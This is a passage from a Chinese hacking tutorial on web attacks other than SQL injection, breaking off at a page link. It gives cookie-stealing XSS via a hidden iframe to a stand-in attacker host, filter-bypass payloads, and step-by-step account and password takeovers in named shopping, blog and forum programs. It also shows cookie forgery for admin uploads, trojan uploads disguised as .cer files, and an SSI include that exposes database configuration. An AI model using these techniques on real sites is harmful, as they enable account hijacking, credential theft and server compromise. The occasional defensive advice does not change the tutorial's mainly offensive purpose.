Part I 前言
现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者。
非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的。
Part II 方法介绍
常规的非SI类攻击有如下几种:
一、 跨站脚本攻击(XSS)
跨站脚本攻击不会直接对网站服务器造成破坏,其主要的攻击对象是网站的访问者,这里入侵者大致有三种目的:
一是对网站页面浏览者进行侵害:如在网站页面中加入自动下载的代码,或者利用像IE Frame漏洞等向浏览者植入木马,或者劫持浏览器等。
二是盗取浏览者的cookies。入侵者可以在自己的网站上建立一个可以接受并保存信息的页面,并在被入侵网站的页面上加入一个长宽都为0的隐藏iframe,地址为:http://hackerserver.com/get.asp?info=document.cookies,服务器端的get.asp页面接受info信息并保存在数据库中,这样入侵者就可以获得浏览者在被入侵网站上的cookies信息了。如果盗取的是一般用户的密码,危害还不算很大,但是如果入侵者利用社会工程学,让登陆后并且密码保存在cookies中的管理员访问页面,就可以盗取管理员的密码,从而进一步控制网站。
三是利用大量的访客请求来重复某一操作。前一阵某商务网站消息说国内某著名搜索引擎在其搜索联盟中加入隐藏的iframe访问该商务网站,对其进行DDOS攻击导致其服务器负荷过大。且不说这个事情是真是假,但是这种思路是我们应该注意的。2004年11期《黑客X档案》上有一篇名为《玩转X树下》的文章(第62页),作者利用跨站脚本攻击在页面中插入了发帖的代码,巨大的访问量使垃圾帖数目暴涨,最后服务器不堪重负几近崩溃。
跨站攻击的手段看似简单,只需在提交的内容(如留言,评论)中加入危险的代码即可,但如何绕过程序对非法字符的过滤,则是一件很复杂的事情。常用的手段有:变更大小写、转换为ASII码或转义符、调用远程js脚本文件等脚本的变形和隐藏方法、使用Flash的Geturl参数等等。
小诀窍
1、如何对付表单的检测。
有些网站为了防止跨站脚本攻击,在其表单中加入一些Javascript代码来检测文本框的值,如不合法就弹出对话框提示,并禁止提交,但是这种只在客户端作的限制相当于什么限制都没作,我们可以把网页保存到本地,去掉相应的检测的JS代码,再修改网页中form的action属性,使其指向网站,再提交,如果网站没有在服务器端再次作验证的话,就会被入侵。(河北省高中生信息技术会考程序就存在此漏洞。)
2、关于UBB。
UBB代码是一些程序为了在限制html代码的同时不致使提交的信息过于单调而运用的一种手段,其方法就是让用户使用一些特定的标签,然后在服务器端转换这些标签,但是如果转换的语句没有写好的话仍然会造成危险。(我们会在后面的实例中进一步展示绕过UBB的方法。)
下面请跟我用实例来体会一下:
实例1-1:无过滤的脚本插入
这是动感商城某一个版本的“客户反馈”功能,是一个名为fk.asp的自提交页面,其中将数据存储至数据库的代码是这样的。
rs.addnew
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\")))
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\"))
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\"))) ‘看,没有进行危险字符过滤
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\")))
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\")))
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\")))
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\")))
rs(\\"fkdate\\")=now
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\")
rs.update
rs.close
我们不难发现,程序在把数据存进数据库之前只对是否有能构成SI的字符进行了过滤(这个过滤恰恰是没有必要的,因为参数不引入查询条件)而对危险字符如script等没有进行过滤,显示留言的页面lyb.asp也没有先过滤再显示。如果我们在留言中提交<script>alert(document.cookie)</script>,就可以弹出用户的cookies信息。(如图一)
实例1-2:过滤不好的UBB的脚本插入
某著名Blog程序的UBB转换页面ubbcode.asp其中转换危险字符的一个片断如下:
Str = Replace(Str, \\"script\\", \\"script\\")
Str = Replace(Str, \\"S C R I P T\\", \\"S C R I P T\\")
Str = Replace(Str, \\"Script\\", \\"Script\\")
Str = Replace(Str, \\"script\\", \\"Script\\")
我们可以提交sCRipt这样的字符来绕过此限制,譬如提交信息
[ img ]javAScript:window.close()[ /img ](去掉空格)
可以关闭窗口。
二、越权攻击
越权攻击是由于程序员对页面的访问权的检测不完善而造成的使入侵者不需得到用户或管理员的密码即可访问只有特定用户或管理员才能访问的页面的一种漏洞。
这种越权让我想到了很久很久以前(大约2000年以前),流行的“聊天室踢人大法”,就是利用访问某些对用户的权限检测不完善的聊天室程序的负责踢人的页面来达到任意踢人的目的。
不过这种越管理员权限的漏洞通常比较隐蔽,尤其是对非开源的程序,大多只能凭经验来猜。再看一个越普通用户权限的例子:某程序的修改用户资料的页面通过获取GET的参数引入程序进行处理,显示相关数据,如:http://targetzone.com/edituser.asp?userid=Daniel,这本来是修改用户Daniel的资料,但是如果程序没有加别的验证,我们就可以通过修改参数的值来修改任意用户的资料,如提交http://targetzone.com/edituser.asp?userid=Kitty来修改Kitty用户的资料。
程序员在制作此类程序是应该验证session来判断用户是否登陆,并且应该从session中获取当前登陆的用户名,其余如Get,cookies等数据都是不可信的。
再一种越权,我们可以称之为“越步越权”,这类漏洞是针对于某些需要N个步骤完成的过程,第X步没有检测是否完成了X-1步而使攻击者可以跳过前X-1步。这种漏洞常出现在找回密码的程序中,最后验证完毕修改密码的页面只是把要修改的用户名以隐藏域的方式放在了网页中,但是下一步没有进行相关检测导致可以修改任意用户的密码。
小诀窍
1、隐藏域的利用。
许多程序员喜欢使用表单隐藏域而并非session在程序中传递一些步骤中出现的参数,对于某些非敏感数据来说,这样可以节省一定的服务器资源,但是对于一些敏感数据来说,这是十分危险的,因为用户虽然在网页上看不到隐藏域,但是用户可以查看源代码来找到隐藏域,并且可以通过把网页保存到本地并且修改隐藏域的值来达到越权的目的。
好的,我们来看几个实例:
实例2-1:某版本动感商城找回用户密码的越步漏洞
动感商城的这个版本漏洞很多,其找回密码的部分分为4个页面,getpwd.asp~getpwd4.asp,分别对应填写用户名、填写提示密码答案、重新设置密码、将新的密码更新至数据库的操作。其中getpwd4.asp的部分代码是这么写的。
<%username=request(\\"username\\")
passwd=md5(trim(request.form(\\"passwd\\")))
set rs=Server.CreateObject(\\"Adodb.Recordset\\")
sql=\\"select * from [user] where username=’\\"&username&\\"’\\"
rs.open sql,conn,1,3
If rs.eof Then
%>
<script language=\\"javascript\\">
alert(\\"这个用户还没有注册呢,请到首页注册吧!\\")
location.href=\\"javascript :history.back()\\"
</script>
<%
else
rs(\\"userpassword\\")=passwd
rs.update
end if
rs.close
set rs=nothing
conn.close
set conn=nothing%>………
可以发现第一行没有检测requect来得数据到底是不是填写了相关信息。
假设我们由于某种原因要盗取用户Kitty的密码:我们可以这样做:先注册一个新用户Daniel,并记下所填写的提示问题答案,然后去找回密码,直到getpwd3.asp这个页面,把此页面保存至本地,用记事本打开页面,把form的action属性值中的Daniel改为Kitty,并把网址补充完整,然后在本地打开此页面,填写密码并提交就可以修改Kitty的密码为你刚才在这个页面填写的密码。
实例2-2:九酷网络个人主页空间管理系统3.0的越权漏洞:
程序中检测是否登陆是通过在页面include文件chkuser.asp来实现的
<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then ‘漏洞原因
Response.write\\"<script>alert(’对不起,您还没有登录或登录出错!’);top.location.href=’index.asp’</script>\\"
response.End
end if
%>
可以看到,这个文件只检查了session是否为空,而没有检查到底的操作是否是当前所登录用户的!所以这个程序存在多处越权漏洞,先看越用户修改资料的漏洞:登陆后可以看到界面分为上、左、右三个框架。顶部的框架主要是几个导航的连接,按住shift点”修改个人资料”,使其在新窗口打开,地址为:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不难看出,地址中的username参数的值就是当前用户名,那么我们把它改一下试试……打开页面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!网页上显示出我们注册Kitty用户时填写的资料!随便改改吧……这里我们可以修改它的密码提示问题和答案,然后再通过“忘记密码”功能修改该用户的密码。再来看显示并修改任意用户文件的漏洞。经检测,负责显示文件列表的页面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我们可以通过修改path的值这里对服务器上的文件进行浏览,上传,删除,改名等操作。
实例2-3:LB5000修改注册声明的漏洞
由于雷傲的LB5000的setregmsg.cgi和setregrules.cgi两个文件存在越权漏洞,导致攻击者可以直接修改论坛“注册声明”和“短消息欢迎信息” 。提交如下请求可以修改“注册声明”:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的内容。我们可以通过这个写入一些跨站的代码。
三、cookies欺骗
什么是cookies呢, Cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4KB硬盘空间。当用户正在浏览某站点时,它储存于客户机的内存中,退出浏览器后,它储存于用户的硬盘中。储存在Cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多Web站点使用Cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。
Cookies欺骗是在客户端对网站要读取的cookies修改成我们想伪装的值而对程序进行欺骗,让其误认为我们是已登陆的用户从而达到某种目的,可以说,这也是越权的一种方法。
我们还是说有些程序员对风险估计不足,对于客户端过于信任,把本应该存储在session中的敏感信息存储在了cookies中导致了这种漏洞,所以这种漏洞相对来说也是比较隐蔽的。
进行这种攻击的一般思路是得到合法的cookies->使用工具修改cookies->访问限制页面,越权成功。
假设我们在站点http://targetzone.com上有一个合法帐号Daniel,现在我们想用用户Kitty的身份登陆,但是我们没有Kitty的密码(废话,否则还攻击什么……),我们试试用cookies欺骗的方法达到目的:
以Daniel的身份登陆targetzone.com并且选择保存登陆资料,关闭浏览器,使用IECookiesView这个软件打开本机的Cookies信息,选择站点targetzone.com,修改username的值为Kitty,再次访问网站,发现我们已经以Kitty的身份登陆了。
但是这种攻击也是有一个比较大的硬伤的,且不说网站是否把信息保存在cookies中,单说有的网站把用户名和密码一起保存在cookies中,每次访问的时候先根据用户名和密码进行检测,然后再判断是否合法。所以说这种漏洞其实单独使用并不是非常有效,但是配合其他的入侵就好用多了,譬如下载了某站点的数据库,但是其中的密码都是MD5加密的,除非暴力破解出MD5散列的值,否则无法在网站上登陆,不过如果网站是把用户名和MD5后的密码保存在Cookies中,我们就可以应用了。或者网站防SI的措施比较严密,在url中找不到注入点,可以在cookies中找注入点等。还有的网站把用户的权限保存在cookies中,也可以通过修改来达到提升权限的目的。
实例3-1 某下载程序的欺骗漏洞:
其处理登陆的代码是这样的:
<%If Cookies(\\"down_Isadder\\")=\\"\\" then%>
<script language=\\"Vbscript\\">
msgbox(\\"对不起,您没有权限管理用户!如果您是管理员,请登陆!\\")
window.close()
</script>
<%Else%>
…………
真晕,只检测了那个cookies是否为空,所以我们使用IECookiesView来把down_Isadder的值改为任意值(当然,除了空值)都可以登陆管理。
实例3-2:L-blog的cookie越权上传欺骗漏洞:
最近这个漏洞真是毁掉包括不少黑客在内的WebLog啊。L-Blog的提取cookies的文件存在逻辑漏洞使得任意用户可以跨越至管理员的权限上传文件。
文件attachment.asp的部分代码:
IF memStatus="SupAdmin" OR memStatus="Admin" Then
IF Request.QueryString("action")="upload" Then
可以看到,程序检测SupAdmin的值是不是管理员所对应的值,如果是就允许上传,而并未检测登陆的用户是谁。再看验证cookies的程序command.asp,检测如果memName(cookies中取得的用户名)为空,则不进行任何操作。如果不为空,则验证保存的用户名和密码是否正确,不正确清空cookies。这里就为我们留下了一个漏洞,如果cookies中的用户名的值(memName)为空,而用户权限(memStatus)的值不为空,这样command.asp文件就不验证用户名和密码,但是上传页面检测到memStatus是管理员的,就可以上传了。
我们可以先注册普通用户,登陆并保存cookies,修改cookies使memName的值为空,memStatus的值为SupAdmin或者Admin,然后就可以上传了。
但是只能上传某几种文件,我们是不能上传Asp木马的,怎么办呢……我们再来看看如何传asp木马。
四、非法上传漏洞
以合法致非法,我们先来说两个简单的不算漏洞的漏洞。
一些程序限制了如asp,asa等扩展名是不能上传的,但是我们看看IIS的设置,发现还有一些扩展名是由asp.dll解释的,如cer所以如果某些程序不允许上传asp文件,我们可以把木马的扩展名改为cer,然后再上传,这时如果服务器没有把cer的解析去掉的话,我们就可以运行木马了。还有一些扩展名的文件,是可以执行SSI(Server Side Include)指令的,如stm,上传一个seeit.stm文件,内容为” <!--#include file="conn.asp"-->”,然后访问此文件,即可看到conn.asp文件的内容。所以程序员在
[1] [2] 下一页